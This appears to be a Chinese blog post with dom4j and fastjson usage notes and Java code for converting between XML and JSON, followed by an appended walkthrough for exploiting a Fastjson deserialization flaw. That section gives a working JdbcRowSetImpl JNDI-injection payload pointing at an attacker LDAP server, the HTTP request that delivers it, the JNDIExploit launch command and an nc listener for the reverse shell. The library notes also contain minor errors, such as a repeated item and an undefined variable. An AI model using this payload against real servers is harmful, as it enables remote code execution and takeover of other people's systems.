日常总结 -- dom4j & fastjson篇

本文详细介绍了DOM4J库用于XML文档的创建、解析和操作,包括字符串与文档的互转、节点与属性的管理。同时,深入探讨了FastJSON库在处理JSON数据时的灵活性,涵盖字符串与JSON对象的转换、JSONPath查询等功能,并提供了XML与JSON相互转换的实现方法。

dom4j: 字符串与文档互转; 创建文档、节点、属性;获取节点、属性值;

1. 创建文档Document:
 Document document = DocumentHelper.createDocument();

2.创建根节点:   
Element root=document.addElement("root");

3.创建子节点(并设置文本内容):  
Element book=root.addElement("book")[.setText("100")];

4.添加节点属性:  book.addAttribute("type","science"); 

5.文档转字符串:
String str = document.asXML();

6.字符串转文档:
Document document=DocumentHelper.parseText(str);

7.获取节点:
Document document = DocumentHelper.parseText(str);->
Element root=document.getRootElement(); -- 根节点
Element book=root.element("book"); -- 子节点;

8.获取节点属性值:
String type=book.attributeValue("type");

9.xpath: /DOCUMENT/BODY

List<Element> children = document.selectNodes(xpath);

 

fastjson: 字符串与JSON互转;JSON、JSONObject、JSONArray;

1.简单对象型: String OBJ_STR = "{\"name\":\"lily\",\"age\":12}";

2.简单对象型: String OBJ_STR = "{\"name\":\"lily\",\"age\":12}";

3. 数组类型: String ARRAY_STR = "[{\"name\":\"lily\",\"age\":12},  {\"name\":\"lucy\",\"age\":15}]";

4.复杂格式: String JSON_STR ="{\"course\":{\"name\":\"english\",\"code\":1270},
            \"stu\":[{\"name\":\"lily\",\"age\":12},{\"name\":\"lucy\",\"age\":15}]}";
        JSONObject jsonObject = JSON.parseObject(OBJ_STR);
        JSONArray jsonArray = JSON.parseArray(JARRAY_STR);

5. JSON转字符串: String str = jsonArray.toJSONString();

6.jsonpath: $.message.body

Object result = JSONPath.eval(jsonObject, jsonpath);

 

XML与JSON互转

import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import org.dom4j.Document;
import org.dom4j.DocumentHelper;
import org.dom4j.Element;

import java.util.Iterator;
import java.util.List;

public class Json2Xml {

    /**
     * com.alibaba.fastjson.JSONObject 转 org.dom4j.document
     */
    public static Document jsonToXml(JSONObject jsonObject) {
        Document document = DocumentHelper.createDocument();
        Element root;
        Iterator<String> iter = jsonObject.keySet().iterator();
        if (iter.hasNext()) {
            String key = iter.next();
            root = document.addElement(key);
            jsonToElement(jsonObject, root);
        }
        return document;
    }

    /**
     * @param jsonObject
     * @param element
     * @return
     */
    public static Element jsonToElement(JSONObject jsonObject, Element element) {

        Object jsonNode = jsonObject.get(element.getName());
        if (jsonNode instanceof JSONArray) {
            for (JSONObject childrenJson : (List<JSONObject>) jsonNode) {
                addElement(childrenJson, element);
            }
        } else if (jsonNode instanceof JSONObject) {
            JSONObject childrenJson = (JSONObject) jsonNode;
            addElement(childrenJson, element);
        } else {
            // 递归出口
            element.setText(jsonNode.toString());
        }
        return element;
    }

    /**
     * 1.获取childrenJson的key值, 作为children的节点名
     * 2.转换childrenJson的value,将children添加到element(递归)
     *
     * @param childrenJson
     * @param element
     * @return
     */
    private static Element addElement(JSONObject childrenJson, Element element) {
        Iterator<String> iter = childrenJson.keySet().iterator();
        if (iter.hasNext()) {
            String key = iter.next();
            Element children = element.addElement(key);
            jsonToElement(childrenJson, children);
        }
        return element;
    }

    /**
     * org.dom4j.document 转 com.alibaba.fastjson.JSONObject
     *
     * @param document
     * @return
     */
    public JSONObject xmlToJson(Document document) {
        Element root = document.getRootElement(); // 根节点
        List<Element> elements = root.elements();
        JSONObject jsonObject = new JSONObject();
        return (JSONObject) jsonObject.put(root.getName(), this.elementToJson(elements));
    }

    /**
     * 1.参数element集合,遍历得到element
     * 2.获取element子节点集合,
     * 3.子集合>0递归,否则jsonobject.put(node.name, node.text)
     *
     * @param elements
     * @return
     */
    public static JSONObject elementToJson(List<Element> elements) {
        JSONObject jsonObject = new JSONObject();
        for (Element element : elements) {
            List<Element> children = element.elements();
            if (children.size() > 0) {
                jsonObject.put(element.getName(), elementToJson(children));
            } else {
                jsonObject.put(element.getName(), element.getText());
            }
        }
        return jsonObject;
    }

}

 

使用 `JNDIExploit-1.2-SNAPSHOT.jar` 工具复现 Fastjson 漏洞的过程,主要涉及以下几个步骤,适用于安全研究人员在可控环境中进行漏洞验证测试。Fastjson 是阿里巴巴开源的一个 JSON 解析库,因其自动反序列化功能而存在反序列化漏洞(如 CVE-2017-18349、CVE-2022-25647 等),攻击者可通过构造恶意 JSON 数据触发远程代码执行。 ### 漏洞复现环境准备 #### 1. 环境搭建 - **目标机器(受害机)**:运行 Fastjson 存在漏洞版本的 Web 应用。 - **攻击机(渗透测试机)**:安装 Java 环境、`JNDIExploit-1.2-SNAPSHOT.jar`、`nc`、`Burp Suite` 等工具。 - **网络配置**:确保攻击机与目标机处于同一局域网内,以便 JNDI 回连。 #### 2. 启动 JNDIExploit 执行如下命令启动 LDAP/RMI 服务,监听指定 IP 端口: ```bash java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.200.128 ``` 该命令将启动 LDAP 服务,默认监听 1389 端口,用于触发目标机器的 JNDI 注入攻击。 ### Fastjson 漏洞利用流程 #### 3. 构造恶意 JSON 数据 Fastjson 的反序列化漏洞通常出现在 `parseObject` 或 `parse` 方法中。构造如下恶意 JSON 数据,利用 `autoType` 功能加载远程恶意类: ```json { &quot;a&quot;: { &quot;@type&quot;: &quot;java.lang.Class&quot;, &quot;val&quot;: &quot;com.sun.rowset.JdbcRowSetImpl&quot; }, &quot;b&quot;: { &quot;@type&quot;: &quot;com.sun.rowset.JdbcRowSetImpl&quot;, &quot;dataSourceName&quot;: &quot;ldap://192.168.200.128:1389/Basic/ReverseShell/192.168.200.128/6666&quot;, &quot;autoCommit&quot;: true } } ``` 该 JSON 利用 `JdbcRowSetImpl` 类触发 JNDI 注入,加载远程 LDAP 服务中的恶意类,进而执行反弹 Shell 操作。 #### 4. 发送请求并触发漏洞 使用 `Burp Suite` 或其他 HTTP 客户端工具,将上述 JSON 数据作为请求体发送至存在 Fastjson 漏洞的目标接口。例如,目标接口为: ``` POST /vulnerable-endpoint HTTP/1.1 Host: 192.168.200.132:8080 Content-Type: application/json {&quot;a&quot;:{&quot;@type&quot;:&quot;java.lang.Class&quot;,&quot;val&quot;:&quot;com.sun.rowset.JdbcRowSetImpl&quot;},&quot;b&quot;:{&quot;@type&quot;:&quot;com.sun.rowset.JdbcRowSetImpl&quot;,&quot;dataSourceName&quot;:&quot;ldap://192.168.200.128:1389/Basic/ReverseShell/192.168.200.128/6666&quot;,&quot;autoCommit&quot;:true}} ``` #### 5. 反弹 Shell 获取控制权限 在攻击机上启动 `nc` 监听器,等待目标机器反弹 Shell: ```bash nc -lvvp 6666 ``` 当目标应用解析恶意 JSON 并触发 JNDI 注入时,将从攻击机加载恶意类并执行反弹 Shell 命令,成功获取目标机器的命令执行权限。 ### 注意事项 - **Fastjson 版本影响**:确保目标应用使用的 Fastjson 版本存在漏洞(如 1.2.24 及以下),高版本已修复相关问题。 - **autoType 开启**:Fastjson 默认关闭 `autoType` 功能,若目标应用未启用该功能,则无法触发反序列化漏洞。 - **JNDIExploit 使用限制**:不同版本的 `JNDIExploit` 支持的攻击载荷不同,建议使用 1.2 或 1.4 版本以兼容性更强。 - **防火墙与端口开放**:确保攻击机的 1389(LDAP) 6666(反弹 Shell)端口未被防火墙阻止。 ###
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值